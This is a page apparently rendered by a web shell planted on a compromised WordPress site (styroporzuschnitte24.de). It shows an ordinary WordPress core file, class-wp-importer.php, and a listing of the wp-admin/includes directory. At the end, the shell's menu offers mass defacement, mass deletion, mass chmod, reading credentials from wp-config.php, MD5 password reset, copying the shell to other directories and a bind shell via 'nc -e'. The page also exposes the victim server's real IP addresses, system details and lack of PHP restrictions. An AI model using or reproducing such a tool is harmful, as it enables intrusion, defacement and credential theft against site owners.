WPZ

/ data / web / 1 / 000 / 076 / 129 / 313906 / htdocs / wp-admin / includes / [dxwrx-rx-r]
berkas terminal database massal sistem
/data/web/1/000/076/129/313906/htdocs/wp-admin/includes/class-wp-importer.php (8.08 KB)
<?php
/**
 * WP_Importer base class
 *
 * @package WordPress
 * @subpackage Importer
 * @since 3.0.0
 */

#[AllowDynamicProperties]
class WP_Importer {

	/**
	 * Returns array with imported permalinks from WordPress database.
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $importer_name
	 * @param string $blog_id
	 * @return array
	 */
	public function get_imported_posts( $importer_name, $blog_id ) {
		global $wpdb;

		$hashtable = array();

		$limit  = 100;
		$offset = 0;

		// Grab all posts in chunks.
		do {
			$meta_key = $importer_name . '_' . $blog_id . '_permalink';
			$results  = $wpdb->get_results(
				$wpdb->prepare(
					"SELECT post_id, meta_value FROM $wpdb->postmeta WHERE meta_key = %s LIMIT %d,%d",
					$meta_key,
					$offset,
					$limit
				)
			);

			// Increment offset.
			$offset = ( $limit + $offset );

			if ( ! empty( $results ) ) {
				foreach ( $results as $r ) {
					// Set permalinks into array.
					$hashtable[ $r->meta_value ] = (int) $r->post_id;
				}
			}
		} while ( count( $results ) === $limit );

		return $hashtable;
	}

	/**
	 * Returns count of imported permalinks from WordPress database.
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $importer_name
	 * @param string $blog_id
	 * @return int
	 */
	public function count_imported_posts( $importer_name, $blog_id ) {
		global $wpdb;

		$count = 0;

		// Get count of permalinks.
		$meta_key = $importer_name . '_' . $blog_id . '_permalink';
		$result   = $wpdb->get_results(
			$wpdb->prepare(
				"SELECT COUNT( post_id ) AS cnt FROM $wpdb->postmeta WHERE meta_key = %s",
				$meta_key
			)
		);

		if ( ! empty( $result ) ) {
			$count = (int) $result[0]->cnt;
		}

		return $count;
	}

	/**
	 * Sets array with imported comments from WordPress database.
	 *
	 * @global wpdb $wpdb WordPress database abstraction object.
	 *
	 * @param string $blog_id
	 * @return array
	 */
	public function get_imported_comments( $blog_id ) {
		global $wpdb;

		$hashtable = array();

		$limit  = 100;
		$offset = 0;

		// Grab all comments in chunks.
		do {
			$results = $wpdb->get_results(
				$wpdb->prepare(
					"SELECT comment_ID, comment_agent FROM $wpdb->comments LIMIT %d,%d",
					$offset,
					$limit
				)
			);

			// Increment offset.
			$offset = ( $limit + $offset );

			if ( ! empty( $results ) ) {
				foreach ( $results as $r ) {
					// Explode comment_agent key.
					list ( $comment_agent_blog_id, $source_comment_id ) = explode( '-', $r->comment_agent );

					$source_comment_id = (int) $source_comment_id;

					// Check if this comment came from this blog.
					if ( (int) $blog_id === (int) $comment_agent_blog_id ) {
						$hashtable[ $source_comment_id ] = (int) $r->comment_ID;
					}
				}
			}
		} while ( count( $results ) === $limit );

		return $hashtable;
	}

	/**
	 * Sets the blog to import to.
	 *
	 * Accepts a numeric blog ID or a URL string. When given a URL,
	 * the blog is looked up by domain and path. On multisite, switches
	 * to the resolved blog. Exits with an error if the blog cannot be found.
	 *
	 * @param int|string $blog_id Blog ID or URL.
	 * @return int Blog ID on success. Exits on failure.
	 */
	public function set_blog( $blog_id ) {
		if ( is_numeric( $blog_id ) ) {
			$blog_id = (int) $blog_id;
		} else {
			$blog   = 'http://' . preg_replace( '#^https?://#', '', $blog_id );
			$parsed = parse_url( $blog );
			if ( ! $parsed || empty( $parsed['host'] ) ) {
				fwrite( STDERR, "Error: can not determine blog_id from $blog_id\n" );
				exit;
			}
			if ( empty( $parsed['path'] ) ) {
				$parsed['path'] = '/';
			}
			$blogs = get_sites(
				array(
					'domain' => $parsed['host'],
					'number' => 1,
					'path'   => $parsed['path'],
				)
			);
			if ( ! $blogs ) {
				fwrite( STDERR, "Error: Could not find blog\n" );
				exit;
			}
			$blog    = array_shift( $blogs );
			$blog_id = (int) $blog->blog_id;
		}

		if ( function_exists( 'is_multisite' ) ) {
			if ( is_multisite() ) {
				switch_to_blog( $blog_id );
			}
		}

		return $blog_id;
	}

	/**
	 * @param int $user_id
	 * @return int
	 */
	public function set_user( $user_id ) {
		if ( is_numeric( $user_id ) ) {
			$user_id = (int) $user_id;
		} else {
			$user_id = (int) username_exists( $user_id );
		}

		if ( ! $user_id || ! wp_set_current_user( $user_id ) ) {
			fwrite( STDERR, "Error: can not find user\n" );
			exit;
		}

		return $user_id;
	}

	/**
	 * Sorts by strlen, longest string first.
	 *
	 * @param string $a
	 * @param string $b
	 * @return int
	 */
	public function cmpr_strlen( $a, $b ) {
		return strlen( $b ) - strlen( $a );
	}

	/**
	 * Gets URL.
	 *
	 * @param string $url
	 * @param string $username
	 * @param string $password
	 * @param bool   $head
	 * @return array
	 */
	public function get_page(
		$url,
		$username = '',
		#[\SensitiveParameter]
		$password = '',
		$head = false
	) {
		// Increase the timeout.
		add_filter( 'http_request_timeout', array( $this, 'bump_request_timeout' ) );

		$headers = array();
		$args    = array();
		if ( true === $head ) {
			$args['method'] = 'HEAD';
		}
		if ( ! empty( $username ) && ! empty( $password ) ) {
			$headers['Authorization'] = 'Basic ' . base64_encode( "$username:$password" );
		}

		$args['headers'] = $headers;

		return wp_safe_remote_request( $url, $args );
	}

	/**
	 * Bumps up the request timeout for http requests.
	 *
	 * @param int $val
	 * @return int
	 */
	public function bump_request_timeout( $val ) {
		return 60;
	}

	/**
	 * Checks if user has exceeded disk quota.
	 *
	 * @return bool
	 */
	public function is_user_over_quota() {
		if ( function_exists( 'upload_is_user_over_quota' ) ) {
			if ( upload_is_user_over_quota() ) {
				return true;
			}
		}

		return false;
	}

	/**
	 * Replaces newlines, tabs, and multiple spaces with a single space.
	 *
	 * @param string $text
	 * @return string
	 */
	public function min_whitespace( $text ) {
		return preg_replace( '|[\r\n\t ]+|', ' ', $text );
	}

	/**
	 * Resets global variables that grow out of control during imports.
	 *
	 * @since 3.0.0
	 *
	 * @global wpdb  $wpdb       WordPress database abstraction object.
	 * @global int[] $wp_actions Stores the number of times each action was triggered.
	 */
	public function stop_the_insanity() {
		global $wpdb, $wp_actions;
		// Or define( 'WP_IMPORTING', true );
		$wpdb->queries = array();
		// Reset $wp_actions to keep it from growing out of control.
		$wp_actions = array();
	}
}

/**
 * Returns value of command line params.
 * Exits when a required param is not set.
 *
 * @param string $param    The parameter name to retrieve.
 * @param bool   $required Optional. Whether the parameter is required. Default false.
 * @return string|true|null The parameter value, or true if the parameter was supplied
 *                          without a value, or null if it was not supplied at all.
 *                          Never returns when `$required` is true and the parameter
 *                          is missing, as the function exits instead.
 * @phpstan-return ( $required is true ? string|true : string|true|null )
 */
function get_cli_args( $param, $required = false ) {
	$args = $_SERVER['argv'];
	if ( ! is_array( $args ) ) {
		$args = array();
	}

	$out = array();

	$last_arg = null;
	$return   = null;

	$il = count( $args );

	for ( $i = 1, $il; $i < $il; $i++ ) {
		if ( (bool) preg_match( '/^--(.+)/', $args[ $i ], $match ) ) {
			$parts = explode( '=', $match[1] );
			$key   = preg_replace( '/[^a-z0-9]+/', '', $parts[0] );

			$out[ $key ] = $parts[1] ?? true;

			$last_arg = $key;
		} elseif ( (bool) preg_match( '/^-([a-zA-Z0-9]+)/', $args[ $i ], $match ) ) {
			for ( $j = 0, $jl = strlen( $match[1] ); $j < $jl; $j++ ) {
				$key         = $match[1][ $j ];
				$out[ $key ] = true;
			}

			$last_arg = $key;
		} elseif ( null !== $last_arg ) {
			$out[ $last_arg ] = $args[ $i ];
		}
	}

	// Check array for specified param.
	if ( isset( $out[ $param ] ) ) {
		// Set return value.
		$return = $out[ $param ];
	}

	// Check for missing required param.
	if ( ! isset( $out[ $param ] ) && $required ) {
		// Display message and exit.
		echo "\"$param\" parameter is required but was not specified\n";
		exit;
	}

	return $return;
}
namawaktuukuranownerpermaksi
..
admin-filters.php 2026-05-21 09:117.85 KB 76129f60960:kunden-xw-x--x--
edt
admin.php 2026-02-23 19:413.54 KB 76129f60960:kunden-xw-x-----
edt
ajax-actions.php 2026-10-29 00:28150.61 KB 76129f60960:kunden-xw-x--x--
edt
bookmark.php 2026-05-21 09:1111.4 KB 76129f60960:kunden-xw-x--x--
edt
class-automatic-upgrader-skin.php 2026-02-23 19:413.58 KB 76129f60960:kunden-xw-x-----
edt
class-bulk-plugin-upgrader-skin.php 2026-02-23 19:412.53 KB 76129f60960:kunden-xw-x-----
edt
class-bulk-theme-upgrader-skin.php 2026-02-23 19:412.6 KB 76129f60960:kunden-xw-x-----
edt
class-bulk-upgrader-skin.php 2026-05-21 09:116.5 KB 76129f60960:kunden-xw-x--x--
edt
class-core-upgrader.php 2026-05-21 09:1114.84 KB 76129f60960:kunden-xw-x--x--
edt
class-custom-background.php 2026-08-20 11:4621.24 KB 76129f60960:kunden-xw-x--x--
edt
class-custom-image-header.php 2026-09-18 04:0148.32 KB 76129f60960:kunden-xw-x--x--
edt
class-file-upload-upgrader.php 2026-02-23 19:414.07 KB 76129f60960:kunden-xw-x-----
edt
class-ftp-pure.php 2026-02-23 19:415.3 KB 76129f60960:kunden-xw-x-----
edt
class-ftp-sockets.php 2026-02-23 19:418.28 KB 76129f60960:kunden-xw-x-----
edt
class-ftp.php 2026-08-20 11:4626.7 KB 76129f60960:kunden-xw-x--x--
edt
class-language-pack-upgrader-skin.php 2026-02-23 19:412.8 KB 76129f60960:kunden-xw-x-----
edt
class-language-pack-upgrader.php 2026-05-21 09:1115.16 KB 76129f60960:kunden-xw-x--x--
edt
class-pclzip.php 2026-08-20 11:46192.06 KB 76129f60960:kunden-xw-x-----
edt
class-plugin-installer-skin.php 2026-05-21 09:1111.67 KB 76129f60960:kunden-xw-x--x--
edt
class-plugin-upgrader-skin.php 2026-02-23 19:413.2 KB 76129f60960:kunden-xw-x-----
edt
class-plugin-upgrader.php 2026-05-21 09:1122.7 KB 76129f60960:kunden-xw-x--x--
edt
class-theme-installer-skin.php 2026-05-21 09:1112.67 KB 76129f60960:kunden-xw-x--x--
edt
class-theme-upgrader-skin.php 2026-02-23 19:414.08 KB 76129f60960:kunden-xw-x-----
edt
class-theme-upgrader.php 2026-05-21 09:1126.16 KB 76129f60960:kunden-xw-x--x--
edt
class-walker-category-checklist.php 2026-05-21 09:114.97 KB 76129f60960:kunden-xw-x--x--
edt
class-walker-nav-menu-checklist.php 2026-05-21 09:115.65 KB 76129f60960:kunden-xw-x--x--
edt
class-walker-nav-menu-edit.php 2026-05-21 09:1113.96 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ajax-upgrader-skin.php 2026-02-23 19:414.09 KB 76129f60960:kunden-xw-x-----
edt
class-wp-application-passwords-list-table.php 2026-02-23 19:416.79 KB 76129f60960:kunden-xw-x-----
edt
class-wp-automatic-updater.php 2026-08-20 11:4660.45 KB 76129f60960:kunden-xw-x-----
edt
class-wp-comments-list-table.php 2026-08-20 11:4633.81 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-community-events.php 2026-05-21 09:1118.21 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-debug-data.php 2026-08-20 11:4669.38 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-base.php 2026-08-20 11:4625.02 KB 76129f60960:kunden-xw-x-----
edt
class-wp-filesystem-direct.php 2026-08-20 11:4618.72 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-ftpext.php 2026-08-20 11:4624.34 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-ftpsockets.php 2026-08-20 11:4619.88 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-filesystem-ssh2.php 2026-08-20 11:4625.21 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-importer.php 2026-08-20 11:468.08 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-internal-pointers.php 2026-05-21 09:114.49 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-links-list-table.php 2026-08-20 11:469.87 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-list-table-compat.php 2026-02-23 19:411.46 KB 76129f60960:kunden-xw-x-----
edt
class-wp-list-table.php 2026-08-20 11:4653.59 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-media-list-table.php 2026-08-20 11:4627.13 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ms-sites-list-table.php 2026-08-20 11:4623.04 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ms-themes-list-table.php 2026-08-20 11:4629.56 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-ms-users-list-table.php 2026-10-29 00:2815.85 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-plugin-install-list-table.php 2026-08-20 11:4624.49 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-plugins-list-table.php 2026-08-20 11:4660.11 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-post-comments-list-table.php 2026-02-23 19:411.42 KB 76129f60960:kunden-xw-x-----
edt
class-wp-posts-list-table.php 2026-08-20 11:4666.85 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-privacy-data-export-requests-list-table.php 2026-10-29 00:285.9 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-privacy-data-removal-requests-list-table.php 2026-10-29 00:286.04 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-privacy-policy-content.php 2026-08-20 11:4632.25 KB 76129f60960:kunden-xw-x-----
edt
class-wp-privacy-requests-table.php 2026-10-29 00:2814.48 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-screen.php 2026-08-20 11:4636.69 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-site-health-auto-updates.php 2026-02-23 19:4114 KB 76129f60960:kunden-xw-x-----
edt
class-wp-site-health.php 2026-08-20 11:46128.09 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-site-icon.php 2026-08-20 11:466.34 KB 76129f60960:kunden-xw-x-----
edt
class-wp-terms-list-table.php 2026-08-20 11:4621.08 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-theme-install-list-table.php 2026-05-21 09:1115.33 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-themes-list-table.php 2026-05-21 09:1110.1 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-upgrader-skin.php 2026-05-21 09:116.9 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-upgrader-skins.php 2026-02-23 19:411.44 KB 76129f60960:kunden-xw-x-----
edt
class-wp-upgrader.php 2026-10-29 00:2848.27 KB 76129f60960:kunden-xw-x--x--
edt
class-wp-users-list-table.php 2026-10-29 00:2818.97 KB 76129f60960:kunden-xw-x--x--
edt
comment.php 2026-11-19 00:3812.74 KB 76129f60960:kunden-xw-x--x--
edt
continents-cities.php 2026-02-23 19:4120.06 KB 76129f60960:kunden-xw-x-----
edt
credits.php 2026-05-21 09:115.7 KB 76129f60960:kunden-xw-x--x--
edt
dashboard.php 2026-08-20 11:4668.96 KB 76129f60960:kunden-xw-x--x--
edt
deprecated.php 2026-08-20 11:4640.98 KB 76129f60960:kunden-xw-x--x--
edt
edit-tag-messages.php 2026-02-23 19:411.44 KB 76129f60960:kunden-xw-x-----
edt
export.php 2026-10-07 00:3025.86 KB 76129f60960:kunden-xw-x--x--
edt
file.php 2026-08-20 11:4696.12 KB 76129f60960:kunden-xw-x--x--
edt
image-edit.php 2026-08-20 11:4643.11 KB 76129f60960:kunden-xw-x--x--
edt
image.php 2026-10-07 00:3044.25 KB 76129f60960:kunden-xw-x--x--
edt
import.php 2026-02-23 19:416.46 KB 76129f60960:kunden-xw-x-----
edt
list-table.php 2026-02-23 19:413.71 KB 76129f60960:kunden-xw-x-----
edt
media.php 2026-09-18 04:01117.42 KB 76129f60960:kunden-xw-x--x--
edt
menu.php 2026-05-21 09:119.41 KB 76129f60960:kunden-xw-x--x--
edt
meta-boxes.php 2026-05-21 09:1165.29 KB 76129f60960:kunden-xw-x--x--
edt
misc.php 2026-05-21 09:1145.35 KB 76129f60960:kunden-xw-x--x--
edt
ms-admin-filters.php 2026-02-23 19:411.27 KB 76129f60960:kunden-xw-x-----
edt
ms-deprecated.php 2026-02-23 19:413.68 KB 76129f60960:kunden-xw-x-----
edt
ms.php 2026-10-29 00:2835.21 KB 76129f60960:kunden-xw-x--x--
edt
nav-menu.php 2026-08-20 11:4647.98 KB 76129f60960:kunden-xw-x--x--
edt
network.php 2026-05-21 09:1126.4 KB 76129f60960:kunden-xw-x--x--
edt
noop.php 2026-02-23 19:411.12 KB 76129f60960:kunden-xw-x-----
edt
options.php 2026-08-20 11:464.2 KB 76129f60960:kunden-xw-x--x--
edt
plugin-install.php 2026-08-20 11:4638.27 KB 76129f60960:kunden-xw-x--x--
edt
plugin.php 2026-09-18 04:0191.49 KB 76129f60960:kunden-xw-x--x--
edt
post.php 2026-09-18 04:0180.9 KB 76129f60960:kunden-xw-x--x--
edt
privacy-tools.php 2026-08-20 11:4632.94 KB 76129f60960:kunden-xw-x--x--
edt
revision.php 2026-05-21 09:1116.24 KB 76129f60960:kunden-xw-x--x--
edt
schema.php 2026-05-21 09:1144.51 KB 76129f60960:kunden-xw-x--x--
edt
screen.php 2026-05-21 09:116.24 KB 76129f60960:kunden-xw-x--x--
edt
taxonomy.php 2026-05-21 09:118.28 KB 76129f60960:kunden-xw-x--x--
edt
template.php 2026-08-20 11:4697.49 KB 76129f60960:kunden-xw-x--x--
edt
theme-install.php 2026-08-20 11:466.85 KB 76129f60960:kunden-xw-x-----
edt
theme.php 2026-05-21 09:1146.42 KB 76129f60960:kunden-xw-x--x--
edt
translation-install.php 2026-08-20 11:4610.79 KB 76129f60960:kunden-xw-x-----
edt
update-core.php 2026-11-19 00:3884.23 KB 76129f60960:kunden-xw-x--x--
edt
update.php 2026-08-20 11:4634.01 KB 76129f60960:kunden-xw-x--x--
edt
upgrade.php 2026-08-20 11:46113.94 KB 76129f60960:kunden-xw-x--x--
edt
user.php 2026-08-20 11:4623.35 KB 76129f60960:kunden-xw-x--x--
edt
widgets.php 2026-05-21 09:1110.3 KB 76129f60960:kunden-xw-x--x--
edt
aksi pada path manual

cwd: /data/web/1/000/076/129/313906/htdocs/wp-admin/includes
kredensial dibaca dari wp-config.php terdekat; reset password memakai MD5 legacy
mass deface
mass delete
mass replace
chmod massal
unameLinux w38 6.12.118+deb13-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.12.118-1 (2026-11-20) x86_64 softwareApache php8.4.28 / cgi-fcgi / Linux user76129f60960 (52449:5000) host / ip82.100.220.68 / 216.73.216.212 disk bebas2.68 TB limitmem 512M / max 0 open_basedirNONE disable_functionsNONE ekstensiCore, date, libxml, openssl, pcre, zlib, filter, hash, json, pcntl, random, Reflection, SPL, session, standard, sodium, cgi-fcgi, mysqlnd, PDO, xml, apcu, bcmath, bz2, calendar, ctype, curl, dba, dom, mbstring, FFI, fileinfo, ftp, gd, gettext, gmp, iconv, imagick, imap, intl, exif
ini_set runtime
salin shell ke direktori lain
bind port (nc -e)
.htaccess
tes mail
styroporzuschnitte24.de · 2026 · WPZ-OK